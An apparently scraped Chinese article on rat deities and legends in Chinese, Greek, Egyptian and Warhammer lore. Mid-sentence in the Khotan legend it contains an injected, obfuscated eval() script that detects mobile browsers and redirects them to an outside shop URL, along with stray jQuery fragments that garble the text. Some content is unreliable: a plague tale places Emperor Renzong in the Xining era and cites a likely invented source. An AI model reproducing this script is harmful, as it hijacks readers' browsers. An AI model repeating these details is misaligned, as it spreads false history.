中国和日本的鼠神文化各有特色，形象、象征与发展脉络差异明显。
中国的鼠神。
于阗鼠神：形象是比刺猬还大的鼠王，身边常有群鼠跟随，唐代木板画中它以鼠头人身、头戴王冠且带光环的形象呈现。传说它曾咬断匈奴军队的马鞍、弓弦等，助于阗国破敌，被奉为护国神，国王还为其建祠祭祀，象征着庇佑家国的神力。
子神与号神：作为十二生肖之首，鼠因契合子时“阴极阳始”的阴阳属性被奉为“子神”。
同时它还是典当业的“号神”（“耗”与“号”同音），当铺会供奉它以防货物遭鼠咬，形象多为普通老鼠，象征着守护财物的寓意。
虚日鼠：作为二十八星宿之一，它并非鼠形，而是慈祥端庄的年轻女性形象，关联着星辰的神力，象征着守护。
西方的鼠神多出自希腊神话、奇幻作品等，形象和象征兼具神圣与邪恶，部分还承载着地域独特的信仰内涵。
阿波罗·鼠神（阿波罗·史鸣修斯）：它是希腊太阳神阿波罗的别称，这一称号源于特洛亚地区的方言，当地曾建有它的庇护所，雕塑家还为庇护所制作了大理石老鼠置于神像脚下，罗马帝国时期当地钱币也印有老鼠图案。
传说它性格矛盾，发怒时会派老鼠侵扰土地、传播灾祸；心情愉悦时则能驱散鼠患，因此被希腊人视作既能带来鼠患与瘟疫，又能平息鼠灾的神灵，《伊利亚特》中就有这一别称的相关记载。
大角鼠：它是桌游《中古战锤》里斯卡文鼠人的专属混沌神，也是后来升格的混沌主神，形象充满邪恶感，其国度“碎墟之国”满是腐烂垃圾与次元石气味。
它象征着腐烂、瘟疫、阴谋与毁灭，信徒需通过频繁血祭安抚它，否则可能被其吞噬。
终焉之时它曾下令斯卡文鼠人停止内斗、合力毁灭世界，其麾下还有“灾祸领主”等恶魔仆从，是代表阴险与熵增的核心邪神。
埃及神话中的鼠相关象征灵体：埃及文化中老鼠未以明确“鼠神”形象存在，但被赋予特殊神性。
人们将其与月亮绑定，认为它象征生机与富饶，还掌管计算人间岁月的职能，是和时间、生命活力相关的神圣生灵，虽无专属祭祀仪式，却在民间认知中拥有特殊灵性地位。
阿里曼尼乌斯：在希腊神话的部分衍生说法中，这位带有神秘暗黑特质的神祇将老鼠视作自己的偏爱生灵。
它不像阿波罗·鼠神那样兼具善恶属性，整体偏向邪恶，老鼠作为其关联生物，也被视作传递厄运与灾祸的载体，强化了这一神祇的负面神性特质。
西方文化中鼠神的寓意核心围绕“矛盾二元性”展开，兼具神圣、邪恶、功利性象征。
神性与救赎的双重面向：部分鼠神（如阿波罗·鼠神）是“灾祸与庇护的统一体”，既能降下鼠患、瘟疫惩罚人类，也能驱散灾厄，象征“自然力量的不可控性”与“神性的喜怒无常”；埃及文化中与月亮绑定的鼠类灵体，代表“生机繁衍”与“时间流转”，是对生命循环的神圣隐喻。
邪恶与毁灭的具象化：多数鼠神（如大角鼠、阿里曼尼乌斯关联的鼠类）是“混沌与熵增的象征”，代表腐烂、阴谋、瘟疫与世界崩坏，老鼠的群居、啃噬习性被赋予“侵蚀秩序”的负面意义，成为邪恶力量的载体，暗喻人性中的贪婪与破坏欲。
功利性的现实诉求映射：部分地区对鼠神的信仰源于实际需求——既畏惧老鼠带来的灾荒与疾病，又希望通过供奉鼠神获得庇护，本质是人类对“不可抗自然威胁”的妥协与敬畏，象征“趋利避害的生存智慧”与“对未知风险的妥协”。
中外关于鼠神的传说故事丰富，既有救国安邦的正面叙事，也有象征灾祸与神性博弈，
于阗鼠神救国：这一传说被玄奘记载于《大唐西域记》中。
古于阗国（今新疆和田）曾遭数十万匈奴大军进犯，而于阗仅能派出数万兵力，实力悬殊之下，国王只能焚香祭祀当地沙漠中的鼠群祈福。
当晚国王梦见一只大鼠告知会前来相助，让他提前整兵备战。
次日于阗军突袭匈奴营地，匈奴士兵仓促间准备迎敌，却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806056|190753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发现马鞍、弓弦、铠甲系带等全被老鼠咬断，军队彻底失去战斗力，最终于阗大获全胜。
此后于阗人为鼠神建祠祭祀，国王还以金鼠为冠，当地出土的壁画中也有头戴王冠的鼠神形象。
埃及神鼠破亚述大军：希罗多德在《历史》中记载了这则故事。
公元前700年左右，亚述王率大军攻打埃及，彼时埃及国内人心不齐，竟无战士愿意应敌，仅有海帕伊司托斯神的祭司赛托斯率军驻守边境。
走投无路的赛托斯在神殿哀哭祈神，梦中得神告知无需担忧。
当晚大批田鼠涌入亚述军营，咬坏了士兵们的弓、箭筒和盾牌把手。
次日亚述军失去作战武器，只能仓皇溃逃。后来神殿中一尊国王石像手持老鼠，还刻有“让看到我的人敬畏神明”的铭文。
阿波罗·鼠神的双重传说：希腊神话中阿波罗有“鼠神”这一别称，流传着两个核心故事。一是克里特移民迁徙时，神谕提示他们会被“生于大地的生灵”袭击。
当他们在克律塞海岸扎营时，夜里老鼠啃食了他们武器上的所有皮革，移民们这才明白神谕所指，于是在此建立城市和庇护所，将其献给阿波罗·鼠神。
二是当地一位祭司触怒阿波罗后，神派遣老鼠侵袭其土地，致使土地荒芜。后来祭司的朋友设法安抚了阿波罗，还射杀了老鼠，心怀感激的祭司便创立了对阿波罗·鼠神的崇拜。
其庇护所的神像脚下设有大理石老鼠雕像，罗马帝国时期当地钱币上也印有老鼠图案。
汴京灵鼠退瘟疫：据《梦梁异志》记载，北宋熙宁年间汴京爆发瘟疫。
当时太医院药库每到子时，就会出现一只银须灰鼠，它像老医师般挑选黄连、苍术等药材投入水井。
御医们曾想捕捉这只老鼠，它却衔来《神农本草经》残卷，用爪子指出药方中“君臣佐使”的搭配之法。
三日后汴京的瘟疫逐渐消退，宋仁宗梦中见到鼠首神人，对方称自己一族专司吞噬世间残余灾厄，这只老鼠也被人们视作护佑百姓的灵鼠。